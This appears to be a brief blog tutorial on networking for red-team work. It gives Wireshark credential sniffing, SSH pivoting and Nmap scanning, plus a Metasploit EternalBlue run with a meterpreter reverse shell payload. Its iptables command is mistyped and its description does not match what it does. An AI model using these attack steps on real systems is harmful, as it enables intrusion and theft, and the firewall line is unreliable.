🌐 Computer Networking 101: Red Team Essentials for Exploitation & Defense
Every red team engagement starts with understanding the network. Whether you’re sniffing traffic, pivoting between subnets, or crafting stealthy exploits, mastering computer networking is a non-negotiable skill for any ethical hacker.
You Should Know:
1. Network Sniffing with Wireshark:
- Command: `wireshark`
- Steps:
- Open Wireshark and select the network interface.
- Apply filters like `tcp.port == 80` to monitor HTTP traffic.
- Analyze packets for sensitive data like credentials.
2. Pivoting with SSH Tunneling:
- Command: `ssh -D 1080 user@remote_host`
- Steps:
- Use the above command to create a SOCKS proxy.
- Configure your browser or tools to use `localhost:1080` for tunneling.
3. Stealthy Exploits with Metasploit:
- Command: `msfconsole`
- Steps:
- Use `use exploit/windows/smb/ms17_010_eternalblue` for a known vulnerability.
- Set payload with
set payload windows/x64/meterpreter/reverse_tcp. - Execute with
exploit.
4. Subnet Scanning with Nmap:
- Command: `nmap -sP 192.168.1.0/24`
- Steps:
- Identify live hosts in the subnet.
- Use `nmap -sV -O 192.168.1.1` for detailed service and OS detection.
5. Defensive Measures with IPTables:
- Command: `iptables -A INPUT -p tcp –dport 22 -j DROP`
- Steps:
- Block SSH access from unauthorized IPs.
- Use `iptables -L` to list active rules.
What Undercode Say:
Mastering networking is the backbone of red team operations. Tools like Wireshark, Nmap, and Metasploit are indispensable for both exploitation and defense. Always practice ethical hacking within legal boundaries and use these skills to strengthen network security.
